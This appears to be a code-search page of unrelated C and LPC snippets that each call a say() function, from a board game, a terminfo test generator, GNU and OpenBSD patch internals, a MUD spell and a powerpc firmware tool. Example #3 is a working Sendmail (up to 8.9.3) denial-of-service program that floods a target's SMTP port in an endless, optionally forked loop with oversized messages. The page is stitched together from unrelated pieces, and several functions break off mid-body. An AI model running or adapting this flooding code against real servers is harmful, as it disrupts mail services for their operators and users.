示例#1
0
void Board::I_win()
{
	puts(">>>> I win");
	info.sprintf("OK, you are the winner!\n");
	emit say(info);
}
示例#2
0
int main(int argc, char **argv) {
    unibi_term *ut;
    if (argc < 2) {
        ut = unibi_from_fp(stdin);
        if (!ut) {
            perror("unibi_from_fp(stdin)");
            return EXIT_FAILURE;
        }
    } else if (argc == 2) {
        ut = unibi_from_term(argv[1]);
        if (!ut) {
            fprintf(stderr, "unibi_from_term(\"%s\"): %s\n", argv[1], strerror(errno));
            return EXIT_FAILURE;
        }
    } else {
        fprintf(stderr, "Usage: %s [TERM]\n", argv[0]);
        return EXIT_FAILURE;
    }

    char buf[4096];
    size_t r = unibi_dump(ut, buf, sizeof buf);
    if (r > sizeof buf) {
        perror("unibi_dump()");
        return EXIT_FAILURE;
    }

    unsigned test_counter = 0;

    say("#include <unibilium.h>");
    say("#include <errno.h>");
    say("#include <string.h>");
    say("#include \"test-simple.c.inc\"");
    say("");
    say_("static const char terminfo[] = {");
    for (size_t i = 0; i < r; i++) {
        if (i) {
            printf(",");
        }
        printf("%s", i % 20 ? " " : "\n    ");
        printf("%d", (int)buf[i]);
    }
    say("\n};");
    say("");
    say("static void setup(void);");
    say("");
    say("int main(void) {");
    say("    int e;");
    say("    unibi_term *dt;");
    say("");
    say("    setup();");
    say("");
    say("    dt = unibi_dummy();");
    say("    e = errno;");
    say("    ok(dt != NULL, \"dummy constructed\");");
    test_counter++;
    say("    if (!dt) {");
    say("        bail_out(strerror(e));");
    say("    }");
    say("    unibi_term *ut = unibi_from_mem(terminfo, sizeof terminfo);");
    say("    e = errno;");
    say("    ok(ut != NULL, \"terminfo loaded\");");
    test_counter++;
    say("    if (!ut) {");
    say("        bail_out(strerror(e));");
    say("    }");
    say("");
    say("    note(\"terminal name\");");
    {
        const char *name = unibi_get_name(ut);
        printf("    ok(strcmp(unibi_get_name(ut), \"");
        print_str_esc(name, 0);
        printf("\") == 0, \"terminal name = \\\"%%s\\\"\", \"");
        print_str_esc(name, 1);
        printf("\");\n");
        test_counter++;
        printf("    unibi_set_name(dt, \"");
        print_str_esc(name, 0);
        printf("\");\n");
    }
    {
        size_t i;
        const char **aliases = unibi_get_aliases(ut);
        say("    {");
        say_("        static const char *def_aliases[] = {");
        for (i = 0; aliases[i]; i++) {
            if (i) {
                say_(", ");
            }
            say_("\"");
            print_str_esc(aliases[i], 0);
            say_("\"");
        }
        if (i) {
            say_(", ");
        }
        say("NULL};");
        say("        const char **aliases = unibi_get_aliases(ut);");
        for (i = 0; aliases[i]; i++) {
            printf("        ok(strcmp(aliases[%zu], def_aliases[%zu]) == 0, \"terminal alias #%zu = \\\"%%s\\\"\", \"", i, i, i);
            print_str_esc(aliases[i], 0);
            printf("\");\n");
            test_counter++;
        }
        printf("        ok(aliases[%zu] == NULL, \"terminal alias #%zu = null\");\n", i, i);
        test_counter++;
        say("        unibi_set_aliases(dt, def_aliases);");
        say("    }");
    }
    say("");
    say("    note(\"boolean capabilities\");");
    for (enum unibi_boolean i = unibi_boolean_begin_ + 1; i < unibi_boolean_end_; i++) {
        int b = unibi_get_bool(ut, i);
        const char *c = unibi_name_bool(i);
        printf("    ok(unibi_get_bool(ut, unibi_%s) == %d, \"%s = %s\");\n", c, b, c, b ? "true" : "false");
        test_counter++;
        if (b) {
            printf("    unibi_set_bool(dt, unibi_%s, 1);\n", c);
        }
    }
    say("");
    say("    note(\"numeric capabilities\");");
    for (enum unibi_numeric i = unibi_numeric_begin_ + 1; i < unibi_numeric_end_; i++) {
        short v = unibi_get_num(ut, i);
        const char *c = unibi_name_num(i);
        printf("    ok(unibi_get_num(ut, unibi_%s) == %hd, \"%s = %hd\");\n", c, v, c, v);
        test_counter++;
        if (v >= 0) {
            printf("    unibi_set_num(dt, unibi_%s, %hd);\n", c, v);
        }
    }
    say("");
    say("    note(\"string capabilities\");");
    for (enum unibi_string i = unibi_string_begin_ + 1; i < unibi_string_end_; i++) {
        const char *s = unibi_get_str(ut, i);
        const char *c = unibi_name_str(i);
        if (s) {
            printf("    ok(strcmp(unibi_get_str(ut, unibi_%s), \"", c);
            print_str_esc(s, 0);
            printf("\") == 0, \"%s = \\\"%%s\\\"\", \"", c);
            print_str_esc(s, 1);
            printf("\");\n");
            printf("    unibi_set_str(dt, unibi_%s, \"", c);
            print_str_esc(s, 0);
            printf("\");\n");
        } else {
            printf("    ok(unibi_get_str(ut, unibi_%s) == NULL, \"%s = null\");\n", c, c);
        }
        test_counter++;
    }
    say("");
    say("    note(\"extended boolean capabilities\");");
    {
        const size_t n_ext = unibi_count_ext_bool(ut);

        say("    {");
        say("        const size_t n_ext = unibi_count_ext_bool(ut);");
        printf("        ok(n_ext == %zu, \"#ext_bool = %zu\");\n", n_ext, n_ext);
        test_counter++;

        for (size_t i = 0; i < n_ext; i++) {
            int b = unibi_get_ext_bool(ut, i);
            const char *c = unibi_get_ext_bool_name(ut, i);
            printf("        ok(%zu < n_ext && unibi_get_ext_bool(ut, %zu) == %d, \"ext_bool[%zu].value = %d\");\n", i, i, b, i, b);
            test_counter++;
            printf("        ok(%zu < n_ext && strcmp(unibi_get_ext_bool_name(ut, %zu), \"", i, i);
            test_counter++;
            print_str_esc(c, 0);
            printf("\") == 0, \"ext_bool[%zu].name = \\\"%%s\\\"\", \"", i);
            print_str_esc(c, 1);
            printf("\");\n");
            printf("        unibi_add_ext_bool(dt, \"");
            print_str_esc(c, 0);
            printf("\", %d);\n", b);
        }
        say("    }");
    }
    say("");
    say("    note(\"extended numeric capabilities\");");
    {
        const size_t n_ext = unibi_count_ext_num(ut);

        say("    {");
        say("        const size_t n_ext = unibi_count_ext_num(ut);");
        printf("        ok(n_ext == %zu, \"#ext_num = %zu\");\n", n_ext, n_ext);
        test_counter++;

        for (size_t i = 0; i < n_ext; i++) {
            short v = unibi_get_ext_num(ut, i);
            const char *c = unibi_get_ext_num_name(ut, i);
            printf("        ok(%zu < n_ext && unibi_get_ext_num(ut, %zu) == %hd, \"ext_num[%zu].value = %hd\");\n", i, i, v, i, v);
            test_counter++;
            printf("        ok(%zu < n_ext && strcmp(unibi_get_ext_num_name(ut, %zu), \"", i, i);
            test_counter++;
            print_str_esc(c, 0);
            printf("\") == 0, \"ext_num[%zu].name = \\\"%%s\\\"\", \"", i);
            print_str_esc(c, 1);
            printf("\");\n");
            printf("        unibi_add_ext_num(dt, \"");
            print_str_esc(c, 0);
            printf("\", %hd);\n", v);
        }
        say("    }");
    }
    say("");
    say("    note(\"extended string capabilities\");");
    {
        const size_t n_ext = unibi_count_ext_str(ut);

        say("    {");
        say("        const size_t n_ext = unibi_count_ext_str(ut);");
        printf("        ok(n_ext == %zu, \"#ext_str = %zu\");\n", n_ext, n_ext);
        test_counter++;

        for (size_t i = 0; i < n_ext; i++) {
            const char *s = unibi_get_ext_str(ut, i);
            const char *c = unibi_get_ext_str_name(ut, i);
            printf("        ok(%zu < n_ext && ", i);
            if (s) {
                printf("strcmp(unibi_get_ext_str(ut, %zu), \"", i);
                print_str_esc(s, 0);
                printf("\") == 0, \"ext_str[%zu].value = \\\"%%s\\\"\", \"", i);
                print_str_esc(s, 1);
                printf("\");\n");
                printf("        unibi_add_ext_str(dt, \"");
                print_str_esc(c, 0);
                printf("\", \"");
                print_str_esc(s, 0);
                printf("\");\n");
            } else {
                printf("unibi_get_ext_str(ut, %zu) == NULL, \"ext_str[%zu].value = null\");\n", i, i);
                printf("        unibi_add_ext_str(dt, \"");
                print_str_esc(c, 0);
                printf("\", NULL);\n");
            }
            test_counter++;
            printf("        ok(%zu < n_ext && strcmp(unibi_get_ext_str_name(ut, %zu), \"", i, i);
            test_counter++;
            print_str_esc(c, 0);
            printf("\") == 0, \"ext_str[%zu].name = \\\"%%s\\\"\", \"", i);
            print_str_esc(c, 1);
            printf("\");\n");
        }
        say("    }");
    }
    say("");
    say("    {");
    say("        char buf[sizeof terminfo];");
    say("        size_t r = unibi_dump(ut, buf, sizeof buf);");
    say("        ok(r == sizeof terminfo, \"redump size == orig size\");");
    test_counter++;
    say("        ok(memcmp(terminfo, buf, sizeof buf) == 0, \"redump == orig\");");
    test_counter++;
    say("    }");
    say("");
    say("    {");
    say("        char buf[sizeof terminfo];");
    say("        size_t r = unibi_dump(dt, buf, sizeof buf);");
    say("        ok(r == sizeof terminfo, \"dummy redump size == orig size\");");
    test_counter++;
    say("        ok(memcmp(terminfo, buf, sizeof buf) == 0, \"dummy redump == orig\");");
    test_counter++;
    say("    }");
    say("");
    say("    unibi_destroy(ut);");
    say("    ok(1, \"object destroyed\");");
    test_counter++;
    say("");
    say("    unibi_destroy(dt);");
    say("    ok(1, \"dummy object destroyed\");");
    test_counter++;
    say("");
    say("    return 0;");
    say("}");

    unibi_destroy(ut);

    say("");
    say("static void setup(void) {");
    printf("    plan(%u);\n", test_counter);
    say("}");

    return 0;
}
示例#3
0
int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];

fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [[email protected]]\n");

if (argc<2) usage(argv[0]);

#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
                               (unsigned char)host->h_addr[1],
                               (unsigned char)host->h_addr[2],
                               (unsigned char)host->h_addr[3]);

}
else sprintf(hostaddr,"%s",hostname);

#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
示例#4
0
void
fetchname (char const *at, int strip_leading, bool maybe_quoted, char **pname,
	   char **ptimestr, struct timespec *pstamp)
{
    char *name;
    const char *t;
    char *timestr = NULL;
    struct timespec stamp;

    stamp.tv_sec = -1;
    stamp.tv_nsec = 0;

    while (ISSPACE ((unsigned char) *at))
	at++;
    if (debug & 128)
	say ("fetchname %s %d\n", at, strip_leading);

    if (maybe_quoted && *at == '"')
      {
	name = parse_c_string (at, &t);
	if (! name)
	  {
	    if (debug & 128)
	      say ("ignoring malformed filename %s\n", quotearg (at));
	    return;
	  }
      }
    else
      {
	for (t = at;  *t;  t++)
	  {
	    if (ISSPACE ((unsigned char) *t))
	      {
		/* Allow file names with internal spaces,
		   but only if a tab separates the file name from the date.  */
		char const *u = t;
		while (*u != '\t' && ISSPACE ((unsigned char) u[1]))
		  u++;
		if (*u != '\t' && (strchr (u + 1, pstamp ? '\t' : '\n')))
		  continue;
		break;
	      }
	  }
	name = savebuf (at, t - at + 1);
	name[t - at] = 0;
      }

    /* If the name is "/dev/null", ignore the name and mark the file
       as being nonexistent.  The name "/dev/null" appears in patches
       regardless of how NULL_DEVICE is spelled.  */
    if (strcmp (name, "/dev/null") == 0)
      {
	free (name);
	if (pstamp)
	  {
	    pstamp->tv_sec = 0;
	    pstamp->tv_nsec = 0;
	  }
	return;
      }

    /* Ignore the name if it doesn't have enough slashes to strip off.  */
    if (! strip_leading_slashes (name, strip_leading))
      {
	free (name);
	return;
      }

    if (ptimestr)
      {
	char const *u = t + strlen (t);

	if (u != t && *(u-1) == '\n')
	  u--;
	if (u != t && *(u-1) == '\r')
	  u--;
	timestr = savebuf (t, u - t + 1);
	timestr[u - t] = 0;
      }

      if (*t != '\n')
	{
	  if (! pstamp)
	    {
	      free (name);
	      free (timestr);
	      return;
	    }

	  if (set_time | set_utc)
	    get_date (&stamp, t, &initial_time);
	  else
	    {
	      /* The head says the file is nonexistent if the
		 timestamp is the epoch; but the listed time is
		 local time, not UTC, and POSIX.1 allows local
		 time offset anywhere in the range -25:00 <
		 offset < +26:00.  Match any time in that range.  */
	      const struct timespec lower = { -25L * 60 * 60 },
				    upper = {  26L * 60 * 60 };
	      if (get_date (&stamp, t, &initial_time)
		  && timespec_cmp (stamp, lower) > 0
		  && timespec_cmp (stamp, upper) < 0) {
		      stamp.tv_sec = 0;
		      stamp.tv_nsec = 0;
	      }
	    }
	}

    free (*pname);
    *pname = name;
    if (ptimestr)
      {
	free (*ptimestr);
	*ptimestr = timestr;
      }
    if (pstamp)
      *pstamp = stamp;
}
示例#5
0
void
move_file (char const *from, int *from_needs_removal,
	   struct stat const *fromst,
	   char const *to, mode_t mode, bool backup)
{
  struct stat to_st;
  int to_errno;

  to_errno = lstat (to, &to_st) == 0 ? 0 : errno;
  if (backup)
    create_backup (to, to_errno ? NULL : &to_st, false);
  if (! to_errno)
    insert_file_id (&to_st, OVERWRITTEN);

  if (from)
    {
      if (S_ISLNK (mode))
	{
	  bool to_dir_known_to_exist = false;

	  /* FROM contains the contents of the symlink we have patched; need
	     to convert that back into a symlink. */
	  char *buffer = xmalloc (PATH_MAX);
	  int fd, size = 0, i;

	  if ((fd = open (from, O_RDONLY | O_BINARY)) < 0)
	    pfatal ("Can't reopen file %s", quotearg (from));
	  while ((i = read (fd, buffer + size, PATH_MAX - size)) > 0)
	    size += i;
	  if (i != 0 || close (fd) != 0)
	    read_fatal ();
	  buffer[size] = 0;

	  if (! backup)
	    {
	      if (unlink (to) == 0)
		to_dir_known_to_exist = true;
	    }
	  if (symlink (buffer, to) != 0)
	    {
	      if (errno == ENOENT && ! to_dir_known_to_exist)
		makedirs (to);
	      if (symlink (buffer, to) != 0)
		pfatal ("Can't create %s %s", "symbolic link", to);
	    }
	  free (buffer);
	  if (lstat (to, &to_st) != 0)
	    pfatal ("Can't get file attributes of %s %s", "symbolic link", to);
	  insert_file_id (&to_st, CREATED);
	}
      else
	{
	  if (debug & 4)
	    say ("Renaming file %s to %s\n",
		 quotearg_n (0, from), quotearg_n (1, to));

	  if (rename (from, to) != 0)
	    {
	      bool to_dir_known_to_exist = false;

	      if (errno == ENOENT
		  && (to_errno == -1 || to_errno == ENOENT))
		{
		  makedirs (to);
		  to_dir_known_to_exist = true;
		  if (rename (from, to) == 0)
		    goto rename_succeeded;
		}

	      if (errno == EXDEV)
		{
		  struct stat tost;
		  if (! backup)
		    {
		      if (unlink (to) == 0)
			to_dir_known_to_exist = true;
		      else if (errno != ENOENT)
			pfatal ("Can't remove file %s", quotearg (to));
		    }
		  copy_file (from, to, &tost, 0, mode, to_dir_known_to_exist);
		  insert_file_id (&tost, CREATED);
		  return;
		}

	      pfatal ("Can't rename file %s to %s",
		      quotearg_n (0, from), quotearg_n (1, to));
	    }

	rename_succeeded:
	  insert_file_id (fromst, CREATED);
	  /* Do not clear *FROM_NEEDS_REMOVAL if it's possible that the
	     rename returned zero because FROM and TO are hard links to
	     the same file.  */
	  if ((0 < to_errno
	       || (to_errno == 0 && to_st.st_nlink <= 1))
	      && from_needs_removal)
	    *from_needs_removal = 0;
	}
    }
  else if (! backup)
    {
      if (debug & 4)
	say ("Removing file %s\n", quotearg (to));
      if (unlink (to) != 0 && errno != ENOENT)
	pfatal ("Can't remove file %s", quotearg (to));
    }
}
示例#6
0
int cast_light (string str, int obj) {
    object target, light;
    int flag = 0;

    seteuid(getuid());

    if (!str||str=="me"||str==(string)TP->query("name")) {
	target = TP;
    } else {
	if (str == "here") {
	    target = environment(TP);
	    flag = 1;
	} else {
	    target = present(str, environment(TP));
	    if (!target) {
		write("Couldn't find "+capitalize(str)+" here.\n");
		return 1;
	    }
	    if (!living(target)) {
		write("The target must be alive.\n");
		return 1;
	    }
	    flag = 2;
	}
    }

    if (present("#LIGHT_OBJECT#", target)) {
	if (flag==2) write("That person already has a light effect.\n");
	if (flag==1) write("There is already a light spell in the room.\n");
	if (!flag && present("#LIGHT_OBJECT#", TP)) 
	    write("You already have a light spell upon you.\n");
	return 1;
    }

    if (living(target) && target!=TP)
	if (!check_magic_resist(TP, target, COST, 0)) return 0;

    if (!obj) {
	if (!cast_spell(TP, COST)) return 1;
    } else {
	obj = query_caster_level(TP, "wizard");
    }

    // Clone the light object.
    light = clone_object(M_OBJ(light_ob));  
    if (!light) {
	write("Your spell fizzles. Notify Cyanide.\n");
	return 1;
    }

    // Tell the room and caster what happens...
    switch (flag) {
    case 1 :
	write("You cast light upon the room.\n");
	say(TPN+" utters a strange incantation.\n");
	tell_room(environment(TP), "The room suddenly gets brighter.\n");
	break;
    case 2 : 
	tell_object(target, TPN +
	  " gestures at you and utters a strange incantation.\n"+
	  "An aura of light springs up around you!\n");
	write ("You cast light upon "+target->query("cap_name")+".\n");
	message("spell", 
	  TPN+" gestures at "+target->query("cap_name")+
	  " and utters a strange incantation.\n", environment(TP),
	  ({ TP, target }) );
	break;
    default :
	write("You cast a light spell upon yourself.\n"+
	  "An aura of light springs up around you.\n");
	say(TPN+" utters a strange incantation.\nAn aura of light springs "+
	  "up around "+objective(TP->query("gender"))+".\n");
	break;
    }
示例#7
0
/**
 * update_properties
 *
 * @param phandle
 * @returns 0 on success, !0 otherwise
 */
static int
update_properties(unsigned int phandle)
{
    int rc;
    char cmd[DR_PATH_MAX];
    char *longcmd = NULL;
    char *newcmd;
    int cmdlen = 0;
    int proplen = 0;
    unsigned int wa[1024];
    unsigned int *op;
    unsigned int nprop;
    unsigned int vd;
    int lenpos = 0;
    char *pname;
    unsigned int i;
    int more = 0;
    char *name = find_phandle(phandle);
    int initial = 1;

    memset(wa, 0x00, 16);
    wa[0] = phandle;

    do {
        say(DEBUG, "about to call rtas_update_properties.  work area:\n"
            "phandle %8.8x, node %s\n"
            " %8.8x %8.8x %8.8x %8.8x\n",
            phandle, name ? name : "NULL", wa[0], wa[1], wa[2], wa[3]);

        rc = rtas_update_properties((char *)wa, 1);
        if (rc && rc != 1) {
            say(DEBUG, "Error %d from rtas_update_properties()\n",
                rc);
            return 1;
        }

        say(DEBUG, "successful rtas_update_properties (more %d)\n", rc);

        op = wa+4;
        nprop = *op++;

        /* After the initial call to rtas_update_properties the first
         * property value descriptor in the buffer is the path of the
         * node being updated. Format is as follows:
         *
         * property name - 1 byte set to NULL 0x00
         * value descriptor - 4 bytes containing length of value string
         * value string - fully qualified path name of updated node
         * */
        if (initial) {
            say(DEBUG, "Null byte = %2.2x, ", *((char *)op));
            op = (unsigned int *)(((char *)op) + 1);
            vd = *op++;
            say(DEBUG, "string length = %u, path = %s\n", vd, ((char *)op));
            op = (unsigned int *)(((char *)op) + vd);
            initial = 0;

            /* The path we are skipping is inclusive in the
             * property count.
             */
            nprop--;
        }

        for (i = 0; i < nprop; i++) {
            pname = (char *)op;
            op = (unsigned int *)(pname + strlen(pname) + 1);
            vd = *op++;

            switch (vd) {
            case 0x00000000:
                say(DEBUG, "%s - name only property %s\n",
                    name, pname);
                break;

            case 0x80000000:
                say(DEBUG, "%s - delete property %s\n", name,
                    pname);
                sprintf(cmd,"remove_property %u %s",
                        phandle, pname);
                do_update(cmd, strlen(cmd) + 1);
                break;

            default:
                if (vd & 0x80000000) {
                    say(DEBUG, "partial property!\n");
                    /* twos compliment of length */
                    vd = ~vd + 1;
                    more = 1;
                }
                else {
                    more = 0;
                }

                say(DEBUG, "%s - updating property %s length "
                    "%d\n", name, pname, vd);

                /* See if we have a partially completed
                 * command
                 */
                if (longcmd) {
                    newcmd = zalloc(cmdlen + vd);
                    memcpy(newcmd, longcmd, cmdlen);
                    free(longcmd);
                    longcmd = newcmd;
                }
                else {
                    longcmd = zalloc(vd+128);
                    /* Build the command with a length
                     * of six zeros
                     */
                    lenpos = sprintf(longcmd,
                                     "update_property %u "
                                     "%s ", phandle,
                                     pname);
                    strcat(longcmd, "000000 ");
                    cmdlen = strlen(longcmd);
                }

                memcpy(longcmd + cmdlen, op, vd);
                cmdlen += vd;
                proplen += vd;

                if (! more) {
                    /* Now update the length to its actual
                    * value  and do a hideous fixup of
                     * the new trailing null
                     */
                    sprintf(longcmd+lenpos,"%06d",proplen);
                    longcmd[lenpos+6] = ' ';

                    do_update(longcmd, cmdlen);
                    free(longcmd);
                    longcmd = NULL;
                    cmdlen = 0;
                    proplen = 0;
                }

                op = (unsigned int *)(((char *)op) + vd);
            }
        }
    } while (rc == 1);

    return 0;
}
示例#8
0
文件: inp.c 项目: memagit/obase
static bool
plan_a(const char *filename)
{
	int		ifd, statfailed;
	char		*p, *s, lbuf[MAXLINELEN];
	struct stat	filestat;
	off_t		i;
	ptrdiff_t	sz;
	size_t		iline, lines_allocated;

#ifdef DEBUGGING
	if (debug & 8)
		return false;
#endif

	if (filename == NULL || *filename == '\0')
		return false;

	statfailed = stat(filename, &filestat);
	if (statfailed && ok_to_create_file) {
		if (verbose)
			say("(Creating file %s...)\n", filename);

		/*
		 * in check_patch case, we still display `Creating file' even
		 * though we're not. The rule is that -C should be as similar
		 * to normal patch behavior as possible
		 */
		if (check_only)
			return true;
		makedirs(filename, true);
		close(creat(filename, 0666));
		statfailed = stat(filename, &filestat);
	}
	if (statfailed && check_only)
		fatal("%s not found, -C mode, can't probe further\n", filename);
	/* For nonexistent or read-only files, look for RCS or SCCS versions.  */
	if (statfailed ||
	    /* No one can write to it.  */
	    (filestat.st_mode & 0222) == 0 ||
	    /* I can't write to it.  */
	    ((filestat.st_mode & 0022) == 0 && filestat.st_uid != getuid())) {
		char	*cs = NULL, *filebase, *filedir;
		struct stat	cstat;

		filebase = basename(filename);
		filedir = dirname(filename);

		/* Leave room in lbuf for the diff command.  */
		s = lbuf + 20;

#define try(f, a1, a2, a3) \
	(snprintf(s, sizeof lbuf - 20, f, a1, a2, a3), stat(s, &cstat) == 0)

		if (try("%s/RCS/%s%s", filedir, filebase, RCSSUFFIX) ||
		    try("%s/RCS/%s%s", filedir, filebase, "") ||
		    try("%s/%s%s", filedir, filebase, RCSSUFFIX)) {
			snprintf(buf, sizeof buf, CHECKOUT, filename);
			snprintf(lbuf, sizeof lbuf, RCSDIFF, filename);
			cs = "RCS";
		} else if (try("%s/SCCS/%s%s", filedir, SCCSPREFIX, filebase) ||
		    try("%s/%s%s", filedir, SCCSPREFIX, filebase)) {
			snprintf(buf, sizeof buf, GET, s);
			snprintf(lbuf, sizeof lbuf, SCCSDIFF, s, filename);
			cs = "SCCS";
		} else if (statfailed)
			fatal("can't find %s\n", filename);
		/*
		 * else we can't write to it but it's not under a version
		 * control system, so just proceed.
		 */
		if (cs) {
			if (!statfailed) {
				if ((filestat.st_mode & 0222) != 0)
					/* The owner can write to it.  */
					fatal("file %s seems to be locked "
					    "by somebody else under %s\n",
					    filename, cs);
				/*
				 * It might be checked out unlocked.  See if
				 * it's safe to check out the default version
				 * locked.
				 */
				if (verbose)
					say("Comparing file %s to default "
					    "%s version...\n",
					    filename, cs);
				if (system(lbuf))
					fatal("can't check out file %s: "
					    "differs from default %s version\n",
					    filename, cs);
			}
			if (verbose)
				say("Checking out file %s from %s...\n",
				    filename, cs);
			if (system(buf) || stat(filename, &filestat))
				fatal("can't check out file %s from %s\n",
				    filename, cs);
		}
	}
	filemode = filestat.st_mode;
	if (!S_ISREG(filemode))
		fatal("%s is not a normal file--can't patch\n", filename);
	i_size = filestat.st_size;
	if (out_of_mem) {
		set_hunkmax();	/* make sure dynamic arrays are allocated */
		out_of_mem = false;
		return false;	/* force plan b because plan a bombed */
	}
	if (i_size > SIZE_MAX) {
		say("block too large to mmap\n");
		return false;
	}
	if ((ifd = open(filename, O_RDONLY)) < 0)
		pfatal("can't open file %s", filename);

	if (i_size) {
		i_womp = mmap(NULL, i_size, PROT_READ, MAP_PRIVATE, ifd, 0);
		if (i_womp == MAP_FAILED) {
			perror("mmap failed");
			i_womp = NULL;
			close(ifd);
			return false;
		}
	} else {
		i_womp = NULL;
	}

	close(ifd);
	if (i_size)
		madvise(i_womp, i_size, MADV_SEQUENTIAL);

	/* estimate the number of lines */
	lines_allocated = i_size / 25;
	if (lines_allocated < 100)
		lines_allocated = 100;

	if (!reallocate_lines(&lines_allocated))
		return false;

	/* now scan the buffer and build pointer array */
	iline = 1;
	i_ptr[iline] = i_womp;
	/* test for NUL too, to maintain the behavior of the original code */
	for (s = i_womp, i = 0; i < i_size && *s != '\0'; s++, i++) {
		if (*s == '\n') {
			if (iline == lines_allocated) {
				if (!reallocate_lines(&lines_allocated))
					return false;
			}
			/* these are NOT NUL terminated */
			i_ptr[++iline] = s + 1;
		}
	}
	/* if the last line contains no EOL, append one */
	if (i_size > 0 && i_womp[i_size - 1] != '\n') {
		last_line_missing_eol = true;
		/* fix last line */
		sz = s - i_ptr[iline];
		p = malloc(sz + 1);
		if (p == NULL) {
			free(i_ptr);
			i_ptr = NULL;
			munmap(i_womp, i_size);
			i_womp = NULL;
			return false;
		}

		memcpy(p, i_ptr[iline], sz);
		p[sz] = '\n';
		i_ptr[iline] = p;
		/* count the extra line and make it point to some valid mem */
		i_ptr[++iline] = "";
	} else
		last_line_missing_eol = false;

	input_lines = iline - 1;

	/* now check for revision, if any */

	if (revision != NULL) {
		if (!rev_in_string(i_womp)) {
			if (force) {
				if (verbose)
					say("Warning: this file doesn't appear "
					    "to be the %s version--patching anyway.\n",
					    revision);
			} else if (batch) {
				fatal("this file doesn't appear to be the "
				    "%s version--aborting.\n",
				    revision);
			} else {
				ask("This file doesn't appear to be the "
				    "%s version--patch anyway? [n] ",
				    revision);
				if (*buf != 'y')
					fatal("aborted\n");
			}
		} else if (verbose)
			say("Good.  This file appears to be the %s version.\n",
			    revision);
	}
	return true;		/* plan a will work */
}

/* Keep (virtually) nothing in memory. */

static void
plan_b(const char *filename)
{
	FILE	*ifp;
	size_t	i = 0, j, maxlen = 1;
	char	*p;
	bool	found_revision = (revision == NULL);

	using_plan_a = false;
	if ((ifp = fopen(filename, "r")) == NULL)
		pfatal("can't open file %s", filename);
	(void) unlink(TMPINNAME);
	if ((tifd = open(TMPINNAME, O_EXCL | O_CREAT | O_WRONLY, 0666)) < 0)
		pfatal("can't open file %s", TMPINNAME);
	while (fgets(buf, sizeof buf, ifp) != NULL) {
		if (revision != NULL && !found_revision && rev_in_string(buf))
			found_revision = true;
		if ((i = strlen(buf)) > maxlen)
			maxlen = i;	/* find longest line */
	}
	last_line_missing_eol = i > 0 && buf[i - 1] != '\n';
	if (last_line_missing_eol && maxlen == i)
		maxlen++;

	if (revision != NULL) {
		if (!found_revision) {
			if (force) {
				if (verbose)
					say("Warning: this file doesn't appear "
					    "to be the %s version--patching anyway.\n",
					    revision);
			} else if (batch) {
				fatal("this file doesn't appear to be the "
				    "%s version--aborting.\n",
				    revision);
			} else {
				ask("This file doesn't appear to be the %s "
				    "version--patch anyway? [n] ",
				    revision);
				if (*buf != 'y')
					fatal("aborted\n");
			}
		} else if (verbose)
			say("Good.  This file appears to be the %s version.\n",
			    revision);
	}
	fseek(ifp, 0L, SEEK_SET);	/* rewind file */
	lines_per_buf = BUFFERSIZE / maxlen;
	tireclen = maxlen;
	tibuf[0] = malloc(BUFFERSIZE + 1);
	if (tibuf[0] == NULL)
		fatal("out of memory\n");
	tibuf[1] = malloc(BUFFERSIZE + 1);
	if (tibuf[1] == NULL)
		fatal("out of memory\n");
	for (i = 1;; i++) {
		p = tibuf[0] + maxlen * (i % lines_per_buf);
		if (i % lines_per_buf == 0)	/* new block */
			if (write(tifd, tibuf[0], BUFFERSIZE) < BUFFERSIZE)
				pfatal("can't write temp file");
		if (fgets(p, maxlen + 1, ifp) == NULL) {
			input_lines = i - 1;
			if (i % lines_per_buf != 0)
				if (write(tifd, tibuf[0], BUFFERSIZE) < BUFFERSIZE)
					pfatal("can't write temp file");
			break;
		}
		j = strlen(p);
		/* These are '\n' terminated strings, so no need to add a NUL */
		if (j == 0 || p[j - 1] != '\n')
			p[j] = '\n';
	}
	fclose(ifp);
	close(tifd);
	if ((tifd = open(TMPINNAME, O_RDONLY)) < 0)
		pfatal("can't reopen file %s", TMPINNAME);
}

/*
 * Fetch a line from the input file, \n terminated, not necessarily \0.
 */
char *
ifetch(LINENUM line, int whichbuf)
{
	if (line < 1 || line > input_lines) {
		if (warn_on_invalid_line) {
			say("No such line %ld in input file, ignoring\n", line);
			warn_on_invalid_line = false;
		}
		return NULL;
	}
	if (using_plan_a)
		return i_ptr[line];
	else {
		LINENUM	offline = line % lines_per_buf;
		LINENUM	baseline = line - offline;

		if (tiline[0] == baseline)
			whichbuf = 0;
		else if (tiline[1] == baseline)
			whichbuf = 1;
		else {
			tiline[whichbuf] = baseline;

			if (lseek(tifd, (off_t) (baseline / lines_per_buf *
			    BUFFERSIZE), SEEK_SET) < 0)
				pfatal("cannot seek in the temporary input file");

